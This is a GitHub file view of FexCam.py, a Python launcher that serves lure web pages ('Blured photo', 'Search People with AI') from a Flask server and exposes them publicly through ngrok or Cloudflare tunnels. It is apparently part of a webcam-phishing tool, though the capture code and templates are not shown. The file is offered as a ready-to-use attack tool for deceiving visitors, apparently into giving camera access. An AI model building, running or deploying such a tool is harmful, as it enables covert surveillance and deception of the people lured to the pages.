-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathFexCam.py
More file actions
160 lines (124 loc) · 5.03 KB
/
Copy pathFexCam.py
File metadata and controls
160 lines (124 loc) · 5.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
import os
import sys
import logging
import threading
import time
from flask import Flask
from flask_cors import CORS
import flask.cli
from colorama import Fore, Style, init
import socket
try:
from routes import web
from utils import run_cloudflare, run_ngrok
except ImportError:
print(f"{Fore.RED}[!] Error: routes.py or utils.py not found!")
sys.exit()
TOKEN_FILE = "TOKEN_NGROK.txt"
def get_token():
if os.path.exists(TOKEN_FILE):
with open(TOKEN_FILE, "r") as f:
return f.read().strip()
return None
def save_token(token):
with open(TOKEN_FILE, "w") as f:
f.write(token)
print(f"{Fore.GREEN}[+] Token saved to {TOKEN_FILE}")
def edit_token():
token = input(f"{Fore.CYAN}Enter your ngrok token: {Style.RESET_ALL}").strip()
save_token(token)
return token
init(autoreset=True)
flask.cli.show_server_banner = lambda *args: None
log = logging.getLogger('werkzeug')
log.setLevel(logging.ERROR)
PORT = 7878
app = Flask(__name__)
CORS(app)
def start_flask():
# სერვერი ეშვება იმ პარამეტრებით, რაც უკვე დაურეგისტრირდა
app.run(host="0.0.0.0", port=PORT, debug=False, use_reloader=False)
print(Fore.CYAN + r"""
______ _____
| ____| / ____|
| |__ _____ _| | __ _ _ __ ___
| __/ _ \ \/ / | / _` | '_ ` _ \
| | | __/> <| |___| (_| | | | | | |
|_| \___/_/\_\\_____\__,_|_| |_| |_|
""")
token = get_token()
print(f"{Fore.YELLOW}[+]{Fore.WHITE} Select Tunnel Method:")
print(f" {Fore.GREEN}1.{Fore.WHITE} Ngrok")
print(f" {Fore.GREEN}2.{Fore.WHITE} Cloudflare")
try:
choice = input(f"\n{Style.BRIGHT}choice > {Style.RESET_ALL}").strip()
# ცვლადი, სადაც შევინახავთ არჩეულ HTML ფაილს
selected_template = "index1.html"
if choice == "1":
print(f" {Fore.GREEN}1.{Fore.WHITE} Default template (index1.html)")
print(f" {Fore.GREEN}2.{Fore.WHITE} Blured photo (index2.html)")
print(f" {Fore.GREEN}3.{Fore.WHITE} Search People with AI (index3.html)")
template_choice = input(f"\n{Style.BRIGHT}choice template > {Style.RESET_ALL}").strip()
if template_choice == "1":
selected_template = "index1.html"
elif template_choice == "2":
selected_template = "index2.html"
elif template_choice == "3":
selected_template = "index3.html"
else:
print(f"{Fore.RED}[!] Invalid template choice.")
sys.exit()
# Ngrok-ის არჩევის შემთხვევაშიც შეგვიძლია დავამატოთ შაბლონის არჩევა, თუ გინდა
if not token:
print(f"{Fore.RED}[!] No ngrok token found.")
token = edit_token()
print(f"{Fore.YELLOW}[+]{Fore.WHITE} Ngrok Menu:")
print(f" {Fore.GREEN}1.{Fore.WHITE} Edit Token")
print(f" {Fore.GREEN}2.{Fore.WHITE} Start Ngrok")
choice1 = input(f"\n{Style.BRIGHT}choice > {Style.RESET_ALL}").strip()
if choice1 == "1":
token = edit_token()
# -------------------------------------------
elif choice == "2":
print(f" {Fore.GREEN}1.{Fore.WHITE} Default template (index1.html)")
print(f" {Fore.GREEN}2.{Fore.WHITE} Blured photo (index2.html)")
print(f" {Fore.GREEN}3.{Fore.WHITE} Search People with AI (index3.html)")
template_choice = input(f"\n{Style.BRIGHT}choice template > {Style.RESET_ALL}").strip()
if template_choice == "1":
selected_template = "index1.html"
elif template_choice == "2":
selected_template = "index2.html"
elif template_choice == "3":
selected_template = "index3.html"
else:
print(f"{Fore.RED}[!] Invalid template choice.")
sys.exit()
else:
print(f"{Fore.RED}[!] Invalid choice. Exiting...")
sys.exit()
web(app, selected_template)
print(f"{Fore.YELLOW}[*] Starting Flask server on port {PORT}...")
threading.Thread(target=start_flask, daemon=True).start()
server_ready = False
start_time = time.time()
while time.time() - start_time < 15:
try:
with socket.create_connection(("127.0.0.1", PORT), timeout=1):
server_ready = True
break
except (ConnectionRefusedError, OSError):
time.sleep(0.5)
if not server_ready:
print("[!] Error: Flask server failed to start within timeout.")
sys.exit()
print("[+] Flask server is up and running! Starting tunnel...")
if choice == "1":
run_ngrok(PORT, token)
elif choice == "2":
run_cloudflare(PORT)
print(f"{Fore.RED}{Style.BRIGHT}[*] Press Ctrl + C to stop\n")
while True:
time.sleep(10)
except KeyboardInterrupt:
print(f"\n{Fore.RED}[!] Shutdown requested...")
sys.exit()